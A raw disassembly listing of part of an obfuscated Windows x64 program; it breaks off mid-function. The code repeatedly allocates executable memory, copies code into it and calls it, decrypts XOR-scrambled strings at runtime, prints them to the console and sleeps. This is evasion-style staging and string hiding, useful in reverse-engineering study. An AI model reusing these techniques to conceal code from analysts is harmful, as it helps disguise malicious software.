lea rax, [rbp + 0xa8]
mov qword [rbp - 0x70], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x80], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14142d410]
test rax, rax
je 0x1400892fc
cmp rax, r13
je 0x1400892e9
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x1400892d3
jmp 0x1400892fc
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x1400893df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140089325
mov r8, r15
jmp 0x1400893be
mov rax, r13
mov rcx, r8
mov rdx, r14
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140089330
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [fcn.1400722b0]
call r8
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movabs rax, 0xff00ff00ff00ff07
mov qword [rbp - 0x78], rax
lea rcx, [rbp + 0xa8]
mov qword [rbp - 0x70], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp - 0x80], rbx
mov qword [rcx], r15
mov ecx, r15d
mov rax, qword [0x14142d410]
test rax, rax
je 0x140089471
cmp rax, r13
je 0x14008945e
inc ecx
mov rax, qword [rsi + rcx*8 + 0x142d410]
test rax, rax
jne 0x140089448
jmp 0x140089471
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x142c100]
test r8, r8
jne 0x14008955f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008949a
mov r8, r15
jmp 0x14008953e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400894b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [rsi + rax*8 + 0x142d410], r13
mov qword [rsi + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [0x140087010]
call r8
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
movups xmm0, xmmword [str.y__G_TZBPT_]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x140102428]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x14010242c]
mov byte [rbp - 0x6c], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400896b3
movdqa xmmword [rbp - 0x50], xmm10
lea rcx, [rbp - 0x80]
mov edx, dword [rbp - 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400895c0
cmp r8d, 0x15
jge 0x1400896f3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400896c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rax, [rbp - 0x80]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140089710
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.14008eb40
nop
lea rbx, [rsp + 0x30]
mov rsi, qword [rsp + 0x30]
mov r13, qword [rsp + 0x48]
cmp r13, 0xf
cmova rbx, rsi
lea rcx, [rsp + 0x30]
cmova rcx, rsi
mov r15, qword [rsp + 0x40]
add r15, rcx
cmp rbx, r15
je 0x140089790
mov qword [rbp - 0x50], 0x14
nop
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008ccf0
lea rdx, [0x14008ceb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x50]
call fcn.14008ced0
inc rbx
cmp rbx, r15
jne 0x140089760
cmp r13, 0xf
jbe 0x1400897c7
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400897bf
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140089f8b
mov rcx, rsi
call fcn.1400906f0
mov rbx, r14
nop word [rax + rax]
movzx eax, word [0x140101a30]
mov word [rbp - 0x50], ax
cmp byte [0x140101a31], 0
je 0x1400897ec
mov byte [rbp - 0x50], 0x2e
xor byte [rbp - 0x4f], 0x31
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008cff0
lea rdx, [0x14008ceb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x1400897d0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.:u__WZDS]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140103950]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140103958]
mov dword [rbp - 0x68], eax
xor esi, esi
mov r8d, esi
cmp r12d, 2
jl 0x140089973
movdqa xmmword [rbp - 0x50], xmm10
lea rcx, [rbp - 0x80]
mov edx, dword [rbp - 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140089880
cmp r8d, 0x1c
jge 0x1400899b3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140089980
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp - 0x80]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400899d0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call fcn.14008eb40
lea rcx, [rbp - 0x50]
call fcn.140084f70
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140101fb8]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140101fc8]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [0x140101fd0]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140101fd4]
mov byte [rbp - 0x64], al
mov r8d, esi
cmp r12d, 2
jl 0x140089b53
movdqa xmmword [rbp - 0x50], xmm10
lea rcx, [rbp - 0x80]
mov edx, dword [rbp - 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140089a60
cmp r8d, 0x1d
jge 0x140089b93
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140089b60
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp - 0x80]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x140089bb0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x50]
call fcn.14008eb40
lea rcx, [rbp - 0x50]
call fcn.140079a70
call fcn.1400722b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0xa8]
movabs rax, 0xff00ff00ff00ff07
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp - 0x80], rbx
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x14142d410]
lea r13, [0x140000000]
lea r15, [0x14008e290]
test rax, rax
je 0x140089c49
nop dword [rax]
cmp rax, r15
je 0x140089c36
inc ecx
mov rax, qword [r13 + rcx*8 + 0x142d410]
test rax, rax
jne 0x140089c20
jmp 0x140089c49
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x142c100]
test r8, r8
jne 0x140089d2f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140089c72
mov r8, rsi
jmp 0x140089d0e
mov rax, r15
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140089c80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [r13 + rax*8 + 0x142d410], r15
mov qword [r13 + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [fcn.1400722b0]
call r8
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
lea rax, [rbp + 0xa8]
mov qword [rax], rbx
movups xmm0, xmmword [0x140102138]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140102148]
movups xmmword [rbp - 0x70], xmm1
mov eax, dword [0x140102158]
mov dword [rbp - 0x60], eax
mov r8d, esi
cmp r12d, 2
jl 0x140089e83
movdqa xmmword [rbp - 0x50], xmm10
lea rcx, [rbp - 0x80]
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140089d90
cmp r8d, 0x24
jge 0x140089ec3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140089e90
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
lea rax, [rbp - 0x80]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140089ee0
mov r8, rdi
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.14008eb40
nop
lea rbx, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
mov r15, qword [rsp + 0x68]
cmp r15, 0xf
cmova rbx, rdi
lea rcx, [rsp + 0x50]
cmova rcx, rdi
mov rsi, qword [rsp + 0x60]
add rsi, rcx
cmp rbx, rsi
je 0x140089f60
mov qword [rbp - 0x50], 0x14
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14008ccf0
lea rdx, [0x14008ceb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x50]
call fcn.14008ced0
inc rbx
cmp rbx, rsi
jne 0x140089f30
cmp r15, 0xf
jbe 0x140089f9a
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140089f92
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140089f92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400906f0
mov dword [rbp - 0x50], 0x7d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rax, [rbp + 0xa8]
movabs r15, 0xff00ff00ff00ff07
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], rax
mov rbx, qword [rax]
xor rbx, r15
mov qword [rbp - 0x80], rbx
xor edi, edi
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x14142cdc0]
lea rsi, [0x14008e260]
test rax, rax
je 0x14008a00e
cmp rax, rsi
je 0x140089ffb
inc ecx
mov rax, qword [r13 + rcx*8 + 0x142cdc0]
test rax, rax
jne 0x140089fe5
jmp 0x14008a00e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x142c760]
test r8, r8
jne 0x14008a0ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008a037
mov r8, rdi
jmp 0x14008a0ce
mov rax, rsi
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14008a040
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c758]
mov qword [r13 + rax*8 + 0x142cdc0], rsi
mov qword [r13 + rax*8 + 0x142c760], r8
inc rax
mov qword [0x14142c758], rax
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor rbx, r15
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], rax
xor rbx, r15
mov qword [rbp - 0x80], rbx
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x14142d410]
lea rsi, [0x14008e290]
test rax, rax
je 0x14008a15f
cmp rax, rsi
je 0x14008a14c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x142d410]
test rax, rax
jne 0x14008a136
jmp 0x14008a15f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x142c100]
test r8, r8
jne 0x14008a240
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008a188
mov r8, rdi
jmp 0x14008a21f
mov rax, rsi
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14008a191
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14142c750]
mov qword [r13 + rax*8 + 0x142d410], rsi
mov qword [r13 + rax*8 + 0x142c100], r8
inc rax
mov qword [0x14142c750], rax
lea rcx, [fcn.1400722b0]
call r8
nop
xor rbx, r15
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
lea r12, [rbp + 0xa8]
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r12
xor rbx, r15
mov qword [rbp - 0x80], rbx
mov qword [r12], rdi
mov ecx, edi
mov rax, qword [0x14142d410]
test rax, rax
je 0x14008a2a9
nop dword [rax]
cmp rax, rsi
je 0x14008a296
inc ecx
mov rax, qword [r13 + rcx*8 + 0x142d410]
test rax, rax
jne 0x14008a280
jmp 0x14008a2a9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x142c100]
test r8, r8
jne 0x14008a38f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008a2d2
mov r8, rdi
jmp 0x14008a36e
mov rax, rsi
mov rcx, r8
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
